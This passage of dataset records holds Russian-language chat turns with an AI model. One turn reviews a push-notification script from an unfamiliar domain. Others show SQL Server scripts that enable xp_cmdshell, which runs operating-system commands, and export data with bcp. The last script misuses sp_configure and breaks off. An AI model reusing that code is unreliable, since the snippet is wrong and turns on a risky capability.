\u0421\u0435\u0440\u0432\u0438\u0441-\u0432\u043e\u0440\u043a\u0435\u0440 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u043c\u0438. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0444\u043e\u043d\u043e\u0432\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u0434\u0430\u0436\u0435 \u043a\u043e\u0433\u0434\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0430.\n\n5. **\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440**: \u0421\u043a\u0440\u0438\u043f\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0432 `SETTINGS.serverUrl`. \u042d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u043c\u0438.\n\n6. **\u0428\u0430\u0431\u043b\u043e\u043d \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f**: \u0421\u043a\u0440\u0438\u043f\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f HTML-\u0448\u0430\u0431\u043b\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f.\n\n7. **\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439**: \u0421\u043a\u0440\u0438\u043f\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435.\n\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0432\u0435\u0449\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043c\u043d\u043e\u0433\u0438\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0438\u043b\u0438 \u0437\u043d\u0430\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430 100% \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d. \u0415\u0441\u043b\u0438 \u043e\u043d \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f, \u0438\u043b\u0438 \u0435\u0441\u043b\u0438 \u0434\u043e\u043c\u0435\u043d `bro.kosmohubeq.space` \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u043c \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u043c\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.","behavior":"degenerate_repetition","conversation_hash":"878db23f557a62700a2e0913c6aea514","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":1926,"n_turns_in_conversation":4,"n_words":229,"source_row_offset":35235,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:43 GMT","turn_id":"fce6228a3d22e182e2571783","turn_index":3,"user_text":"\u0412\u043e\u043e\u0431\u0449\u0435 \u0447\u0442\u043e \u043e\u043d \u0432 \u0446\u0435\u043b\u043e\u043c \u0434\u0435\u043b\u0430\u0435\u0442?"},{"assistant_initiates":false,"asst_text":"\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u0432\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439, \u043d\u0443\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u043b\u0431\u0446\u0430 `ftime` \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0432\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u041c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439. \u0412\u043e\u0442 \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439:\n\n```sql\nDECLARE @ftime VARBINARY(MAX);\n\n-- \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 ftime \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438\nSELECT TOP 1 @ftime = ftime FROM [(spxml_blobs)]\nWHERE url = 'x-local://wt_data/lists/wtv_custom_templates.xml';\n\n-- \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 BCP \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e ftime\nDECLARE @bcpCommand NVARCHAR(MAX);\nSET @bcpCommand = N'bcp \"SELECT data FROM [(spxml_blobs)] WHERE ftime = 0x' \n + CONVERT(NVARCHAR(MAX), @ftime, 2) \n + N'\" queryout \"c:\\temp\\File_replication.zip\" -T -N';\n\nEXEC xp_cmdshell @bcpCommand;\n```\n\n\u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e `@ftime` \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c `url`. \u0417\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `bcp`, \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u043e\u043a \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 `@ftime` \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b `c:\\temp\\File_replication.zip`. \n\n\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0444\u043b\u0430\u0433 `-T` \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u0438 \u0444\u043b\u0430\u0433 `-N` \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c natively formatted data (native format). \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u044d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0438\u0442 \u0432\u0430\u0448 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b BCP, \u0435\u0441\u043b\u0438 \u0432\u0430\u0448\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0435.","behavior":"degenerate_repetition","conversation_hash":"d222de426d2d14006203b74b26bb5d57","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":2035,"n_turns_in_conversation":16,"n_words":251,"source_row_offset":35236,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:54 GMT","turn_id":"c3bfaf18f2e9e74fbf21989d","turn_index":0,"user_text":"\u043f\u043e\u043c\u043e\u0433\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:\n\u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e\u0439 \u043c\u043d\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:\nSELECT * FROM [(spxml_blobs)] WHERE url = 'x-local://wt_data/lists/wtv_custom_templates.xml'\n\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0451 \u0432 \u043f\u0430\u043a\u0435\u0442:\n\u043f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043b\u044f \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0438\nexec xp_cmdshell 'bcp \"SELECT data FROM [(spxml_blobs)] where ftime = 0x000000000000D2B3\" queryout \"c:\\temp\\File_replication.zip\" \u2010T \u2010N'\n\n \u043a\u0430\u043a \u043c\u043d\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439?"},{"assistant_initiates":false,"asst_text":"\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0432\u0430\u0448\u0435\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0435 SQL Server \u0444\u0443\u043d\u043a\u0446\u0438\u044f `xp_cmdshell` \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0438\u0437 \u0441\u043e\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c, \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SQL Server. \u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b\u043c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 `xp_cmdshell` \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u0437 SQL Server, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c `xp_cmdshell`, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0448\u0430\u0433\u0438:\n\n1. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 SQL Server.\n2. \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 SQL-\u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f `xp_cmdshell`:\n\n```sql\n-- \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\n\n-- \u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 xp_cmdshell\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\n```\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f `xp_cmdshell` \u0431\u0443\u0434\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u0438 \u0432\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0430\u0448 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n**\u0412\u0430\u0436\u043d\u043e\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438:**\n- \u0412\u0441\u0435\u0433\u0434\u0430 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 `xp_cmdshell`, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0431\u043e\u043b\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u0442\u0430\u043a.\n- \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0447\u0435\u0440\u0435\u0437 SQL Server.","behavior":"degenerate_repetition","conversation_hash":"d222de426d2d14006203b74b26bb5d57","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":1720,"n_turns_in_conversation":16,"n_words":227,"source_row_offset":35237,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:54 GMT","turn_id":"73dc1628b7ea4d2db8604a12","turn_index":1,"user_text":"Msg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1 [Batch Start Line 0]\nSQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.\n"},{"assistant_initiates":false,"asst_text":"\u0414\u0430, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `xp_cmdshell`, \u0430 \u0437\u0430\u0442\u0435\u043c, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0451, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043d\u0443\u0436\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0437\u0430\u0442\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430:\n\n```sql\nDECLARE @xp_cmdshell_status INT;\nDECLARE @bcpCommand NVARCHAR(MAX);\n\n-- \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE WITH OVERRIDE;\nEXEC sp_configure 'xp_cmdshell', @xp_cmdshell_status OUTPUT;\n\n-- \u0415\u0441\u043b\u0438 xp_cmdshell \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451\nIF @xp_cmdshell_status = 0\nBEGIN\n EXEC sp_configure 'xp_cmdshell', 1;\n RECONFIGURE WITH OVERRIDE;\nEND\n\n-- \u041e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f ftime\nDECLARE @ftime VARBINARY(MAX);\n\n-- \u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 ftime\nSELECT TOP 1 @ftime = ftime FROM [(spxml_blobs)]\nWHERE url = 'x-local://wt_data/lists/wtv_custom_templates.xml';\n\n-- \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c bcp \u043a\u043e\u043c\u0430\u043d\u0434\u0443\nSET @bcpCommand = N'bcp \"SELECT data FROM [(spxml_blobs)] WHERE ftime = 0x' \n + CONVERT(NVARCHAR(MAX), @ftime, 2) \n + N'\" queryout \"c:\\temp\\File_replication.zip\" -T -N';\n\n-- \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c bcp \u043a\u043e\u043c\u0430\u043d\u0434\u0443\nEXEC xp_cmdshell @bcpCommand;\n\n-- \u0415\u0441\u043b\u0438 xp_cmdshell \u0431\u044b\u043b\u0430 